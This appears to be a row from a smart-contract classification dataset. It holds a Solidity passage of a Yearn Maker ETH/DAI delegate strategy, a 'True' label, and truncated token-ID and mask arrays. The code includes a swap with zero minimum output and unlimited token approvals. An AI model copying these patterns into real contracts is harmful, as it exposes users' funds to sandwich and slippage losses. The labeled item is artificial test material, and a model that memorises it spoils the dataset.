vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public virtual view returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public virtual view returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public virtual view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal virtual view returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// File: Strategy.sol
contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// want = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)
address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
address public constant cdp_manager = address(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
address public constant vat = address(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
address public constant mcd_join_eth_c = address(0xF04a5cC80B1E94C69B48f5ee68a08CD2F09A7c3E);
address public constant mcd_join_dai = address(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
address public constant mcd_spot = address(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
address public constant jug = address(0x19c0976f590D67707E62397C87829d896Dc0f1F1);
address public constant auto_line = address(0xC7Bdd1F2B16447dcf3dE045C4a039A60EC2f0ba3);
address public constant eth_price_oracle = address(0xCF63089A8aD2a9D8BD6Bb8022f3190EB7e1eD0f1);
address public constant eth_usd_chainlink = address(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); // eth-usd.data.eth
address public constant yvdai = address(0x19D3364A399d251E894aC732651be8B0E4e85001);
address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
uint public constant DENOMINATOR = 10000;
bytes32 public constant ilk = "ETH-C";
uint public c;
uint public buffer;
uint public slip;
uint public cdpId;
address public dex;
constructor(address _vault) public BaseStrategy(_vault) {
minReportDelay = 12 hours;
maxReportDelay = 2 days;
profitFactor = 1000;
debtThreshold = 1e20;
c = 20000;
buffer = 1000;
slip = 10000;
dex = sushiswap;
cdpId = ManagerLike(cdp_manager).open(ilk, address(this));
_approveAll();
}
function _approveAll() internal {
want.approve(mcd_join_eth_c, 0);
want.approve(mcd_join_eth_c, uint(-1));
IERC20(dai).approve(mcd_join_dai, 0);
IERC20(dai).approve(mcd_join_dai, uint(-1));
VatLike(vat).hope(mcd_join_dai);
IERC20(dai).approve(yvdai, 0);
IERC20(dai).approve(yvdai, uint(-1));
IERC20(dai).approve(uniswap, 0);
IERC20(dai).approve(uniswap, uint(-1));
IERC20(dai).approve(sushiswap, 0);
IERC20(dai).approve(sushiswap, uint(-1));
}
function approveAll() external onlyAuthorized {
_approveAll();
}
function name() external view override returns (string memory) {
return "StrategyMakerETHDAIDelegate";
}
function setBorrowCollateralizationRatio(uint _c) external onlyAuthorized {
c = _c;
}
function setBuffer(uint _buffer) external onlyAuthorized {
buffer = _buffer;
}
function setSlip(uint _slip) external onlyAuthorized {
slip = _slip;
}
function switchDex(bool isUniswap) external onlyAuthorized {
if (isUniswap) dex = uniswap;
else dex = sushiswap;
}
function estimatedTotalAssets() public view override returns (uint256) {
return balanceOfWant().add(balanceOfmVault());
}
function balanceOfWant() public view returns (uint) {
return want.balanceOf(address(this));
}
function balanceOfmVault() public view returns (uint) {
address urnHandler = ManagerLike(cdp_manager).urns(cdpId);
return VatLike(vat).urns(ilk, urnHandler).ink;
}
function delegatedAssets() external view override returns (uint256) {
return estimatedTotalAssets().mul(DENOMINATOR).div(getmVaultRatio(0));
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
uint before = want.balanceOf(address(this));
uint v = getUnderlyingDai();
uint d = getTotalDebtAmount();
if (v > d) {
_withdrawDai(v.sub(d));
_swap(IERC20(dai).balanceOf(address(this)));
}
_profit = want.balanceOf(address(this)).sub(before);
uint _total = estimatedTotalAssets();
uint _debt = vault.strategies(address(this)).totalDebt;
if(_total < _debt) {
_loss = _debt - _total;
_profit = 0;
}
uint _losss;
if (_debtOutstanding > 0) {
(_debtPayment, _losss) = liquidatePosition(_debtOutstanding);
}
_loss = _loss.add(_losss);
}
function adjustPosition(uint256 _debtOutstanding) internal override {
if (emergencyExit || _debtOutstanding > estimatedTotalAssets()) return;
JugLike(jug).drip(ilk); // update stability fee rate accumulator
DssAutoLine(auto_line).exec(ilk); // bump available debt ceiling
_deposit();
if (shouldDraw()) draw();
else if (shouldRepay()) repay();
}
function _deposit() internal {
uint _token = want.balanceOf(address(this));
if (_token == 0) return;
uint p = _getPrice();
uint _draw = _token.mul(p).mul(DENOMINATOR).div(c).div(1e18);
_draw = _adjustDrawAmount(_draw);
_lockWETHAndDrawDAI(_token, _draw);
if (_draw == 0) return;
yVault(yvdai).deposit();
}
function _getPrice() internal view returns (uint p) {
(uint _read,) = OSMedianizer(eth_price_oracle).read();
(uint _foresight,) = OSMedianizer(eth_price_oracle).foresight();
p = _foresight < _read ? _foresight : _read;
if (p == 0) return uint(EACAggregatorProxy(eth_usd_chainlink).latestAnswer()).mul(1e10);
}
function _adjustDrawAmount(uint amount) internal view returns (uint _available) {
// adjust max amount of dai available to draw
VatLike.Ilk memory _ilk = VatLike(vat).ilks(ilk);
uint _debt = _ilk.Art.mul(_ilk.rate).add(1e27); // [rad]
if (_debt > _ilk.line) return 0; // avoid Vat/ceiling-exceeded
_available = _ilk.line.sub(_debt).div(1e27);
if (_available.mul(1e27) < _ilk.dust) return 0; // avoid Vat/dust
return _available < amount ? _available : amount;
}
function _lockWETHAndDrawDAI(uint wad, uint wadD) internal {
address urn = ManagerLike(cdp_manager).urns(cdpId);
if (wad > 0) { GemJoinLike(mcd_join_eth_c).join(urn, wad); }
ManagerLike(cdp_manager).frob(cdpId, toInt(wad), _getDrawDart(urn, wadD));
ManagerLike(cdp_manager).move(cdpId, address(this), wadD.mul(1e27));
if (wadD > 0) { DaiJoinLike(mcd_join_dai).exit(address(this), wadD); }
}
function _getDrawDart(address urn, uint wad) internal view returns (int dart) {
uint rate = VatLike(vat).ilks(ilk).rate;
uint _dai = VatLike(vat).dai(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (_dai < wad.mul(1e27)) {
dart = toInt(wad.mul(1e27).sub(_dai).div(rate));
dart = uint(dart).mul(rate) < wad.mul(1e27) ? dart + 1 : dart;
}
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function shouldDraw() public view returns (bool) {
// buffer to avoid deposit/rebalance loops
return (getmVaultRatio(0) > (c.add(buffer)).mul(1e2));
}
function drawAmount() public view returns (uint) {
// amount to draw to reach target ratio not accounting for debt ceiling
uint _safe = c.mul(1e2);
uint _current = getmVaultRatio(0);
if (_current > DENOMINATOR.mul(c).mul(1e2)) {
_current = DENOMINATOR.mul(c).mul(1e2);
}
if (_current > _safe) {
uint d = getTotalDebtAmount();
uint diff = _current.sub(_safe);
return d.mul(diff).div(_safe);
}
return 0;
}
function draw() internal {
uint _drawD = _adjustDrawAmount(drawAmount());
if (_drawD > 0) {
_lockWETHAndDrawDAI(0, _drawD);
yVault(yvdai).deposit();
}
}
function shouldRepay() public view returns (bool) {
// buffer to avoid deposit/rebalance loops
return (getmVaultRatio(0) < (c.sub(buffer/2)).mul(1e2));
}
function repayAmount() public view returns (uint) {
uint _safe = c.mul(1e2);
uint _current = getmVaultRatio(0);
if (_current < _safe) {
uint d = getTotalDebtAmount();
uint diff = _safe.sub(_current);
return d.mul(diff).div(_safe);
}
return 0;
}
function repay() internal {
uint _free = repayAmount();
if (_free > 0) {
_withdrawDai(_free);
_freeWETHandWipeDAI(0, IERC20(dai).balanceOf(address(this)));
}
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
if (getTotalDebtAmount() != 0 &&
getmVaultRatio(_amountNeeded) < c.mul(1e2)) {
uint p = _getPrice();
_withdrawDai(_amountNeeded.mul(p).mul(DENOMINATOR).div(c).div(1e18));
_freeWETHandWipeDAI(0, IERC20(dai).balanceOf(address(this)));
}
if (getmVaultRatio(_amountNeeded) <= SpotLike(mcd_spot).ilks(ilk).mat.div(1e21)) {
return (0, _amountNeeded);
}
else {
_freeWETHandWipeDAI(_amountNeeded, 0);
_liquidatedAmount = _amountNeeded;
}
}
function _freeWETHandWipeDAI(uint wad, uint wadD) internal {
address urn = ManagerLike(cdp_manager).urns(cdpId);
if (wadD > 0) { DaiJoinLike(mcd_join_dai).join(urn, wadD); }
ManagerLike(cdp_manager).frob(cdpId, -toInt(wad), _getWipeDart(VatLike(vat).dai(urn), urn));
ManagerLike(cdp_manager).flux(cdpId, address(this), wad);
if (wad > 0) { GemJoinLike(mcd_join_eth_c).exit(address(this), wad); }
}
function _getWipeDart(
uint _dai,
address urn
) internal view returns (int dart) {
uint rate = VatLike(vat).ilks(ilk).rate;
uint art = VatLike(vat).urns(ilk, urn).art;
dart = toInt(_dai / rate);
dart = uint(dart) <= art ? - dart : - toInt(art);
}
// NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary
function tendTrigger(uint256 callCost) public view override returns (bool) {
if (balanceOfmVault() == 0) return false;
else return shouldRepay() || (shouldDraw() && _adjustDrawAmount(drawAmount()) > callCost.mul(_getPrice()).mul(profitFactor).div(1e18));
}
function prepareMigration(address _newStrategy) internal override {
ManagerLike(cdp_manager).cdpAllow(cdpId, _newStrategy, 1);
IERC20(yvdai).safeTransfer(_newStrategy, IERC20(yvdai).balanceOf(address(this)));
}
function allow(address dst) external onlyGovernance {
ManagerLike(cdp_manager).cdpAllow(cdpId, dst, 1);
}
function gulp(uint srcCdp) external onlyGovernance {
ManagerLike(cdp_manager).shift(srcCdp, cdpId);
}
function protectedTokens()
internal
view
override
returns (address[] memory)
{
address[] memory protected = new address[](2);
protected[0] = yvdai;
protected[1] = dai;
return protected;
}
function forceRebalance(uint _amount) external onlyAuthorized {
if (_amount > 0) _withdrawDai(_amount);
_freeWETHandWipeDAI(0, IERC20(dai).balanceOf(address(this)));
}
function getTotalDebtAmount() public view returns (uint) {
address urnHandler = ManagerLike(cdp_manager).urns(cdpId);
uint art = VatLike(vat).urns(ilk, urnHandler).art;
uint rate = VatLike(vat).ilks(ilk).rate;
return art.mul(rate).div(1e27);
}
function getmVaultRatio(uint amount) public view returns (uint) {
uint spot; // ray
uint liquidationRatio; // ray
uint denominator = getTotalDebtAmount();
if (denominator == 0) {
return uint(-1);
}
spot = VatLike(vat).ilks(ilk).spot;
liquidationRatio = SpotLike(mcd_spot).ilks(ilk).mat;
uint delayedCPrice = spot.mul(liquidationRatio).div(1e27); // ray
uint _balance = balanceOfmVault();
if (_balance < amount) {
_balance = 0;
} else {
_balance = _balance.sub(amount);
}
uint numerator = _balance.mul(delayedCPrice).div(1e18); // ray
return numerator.div(denominator).div(1e3);
}
function getUnderlyingDai() public view returns (uint) {
return IERC20(yvdai).balanceOf(address(this))
.mul(yVault(yvdai).pricePerShare())
.div(1e18);
}
function _withdrawDai(uint _amount) internal returns (uint) {
uint _shares = _amount
.mul(1e18)
.div(yVault(yvdai).pricePerShare());
if (_shares > IERC20(yvdai).balanceOf(address(this))) {
_shares = IERC20(yvdai).balanceOf(address(this));
}
uint _before = IERC20(dai).balanceOf(address(this));
yVault(yvdai).withdraw(_shares, address(this), slip);
uint _after = IERC20(dai).balanceOf(address(this));
return _after.sub(_before);
}
function _swap(uint _amountIn) internal {
address[] memory path = new address[](2);
path[0] = dai;
path[1] = address(want);
// approve dex to use dai
Uni(dex).swapExactTokensForTokens(_amountIn, 0, path, address(this), now);
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
1011,
1017,
1012,
1014,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2260,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
1013,
1013,
3795,
4372,
18163,
1998,
2358,
6820,
16649,
2358,
6820,
6593,
5656,
28689,
5244,
1063,
21318,
3372,
17788,
2575,
2836,
7959,
2063,
1025,
21318,
3372,
17788,
2575,
13791,
1025,
21318,
3372,
17788,
2575,
7016,
8609,
3695,
1025,
21318,
3372,
17788,
2575,
2568,
15878,
25856,
2121,
8167,
6961,
2102,
1025,
21318,
3372,
17788,
2575,
4098,
3207,
19279,
4842,
8167,
6961,
2102,
1025,
21318,
3372,
17788,
2575,
2197,
2890,
6442,
1025,
21318,
3372,
17788,
2575,
2561,
3207,
19279,
1025,
21318,
3372,
17788,
2575,
2561,
23805,
2078,
1025,
21318,
3372,
17788,
2575,
2561,
10483,
2015,
1025,
1065,
1013,
1013,
2112,
1024,
16233,
23823,
3406,
4179,
8278,
16233,
23823,
3406,
4179,
1063,
3853,
4654,
8586,
1006,
27507,
16703,
1035,
6335,
2243,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1065,
1013,
1013,
2112,
1024,
19413,
3540,
13871,
2890,
20697,
2953,
21572,
18037,
8278,
19413,
3540,
13871,
2890,
20697,
2953,
21572,
18037,
1063,
3853,
26066,
2015,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
6745,
6962,
13777,
1006,
1007,
6327,
3193,
5651,
1006,
20014,
17788,
2575,
1007,
1025,
1065,
1013,
1013,
2112,
1024,
17070,
10359,
8278,
17070,
10359,
1063,
3853,
14300,
1006,
4769,
1010,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
3853,
4651,
1006,
4769,
1010,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1010,
4769,
1010,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
3853,
12816,
1006,
1007,
6327,
3477,
3085,
1025,
3853,
10632,
1006,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
1065,
1013,
1013,
2112,
1024,
26536,
10359,
8278,
26536,
10359,
1063,
3853,
27304,
1006,
27507,
16703,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1065,
1013,
1013,
2112,
1024,
3208,
10359,
8278,
3208,
10359,
1063,
3853,
8561,
9336,
1006,
4769,
1010,
21318,
3372,
17788,
2575,
1010,
4769,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
6335,
5705,
1006,
21318,
3372,
17788,
2575,
1007,
6327,
3193,
5651,
1006,
27507,
16703,
1007,
1025,
3853,
8617,
1006,
21318,
3372,
17788,
2575,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
24471,
3619,
1006,
21318,
3372,
17788,
2575,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
12436,
2102,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
2330,
1006,
27507,
16703,
1010,
4769,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
2507,
1006,
21318,
3372,
17788,
2575,
1010,
4769,
1007,
6327,
1025,
3853,
8561,
8095,
5004,
1006,
21318,
3372,
17788,
2575,
1010,
4769,
1010,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
3853,
24471,
22270,
5004,
1006,
4769,
1010,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
3853,
10424,
16429,
1006,
21318,
3372,
17788,
2575,
1010,
20014,
17788,
2575,
1010,
20014,
17788,
2575,
1007,
6327,
1025,
3853,
19251,
1006,
21318,
3372,
17788,
2575,
1010,
4769,
1010,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
3853,
2693,
1006,
21318,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
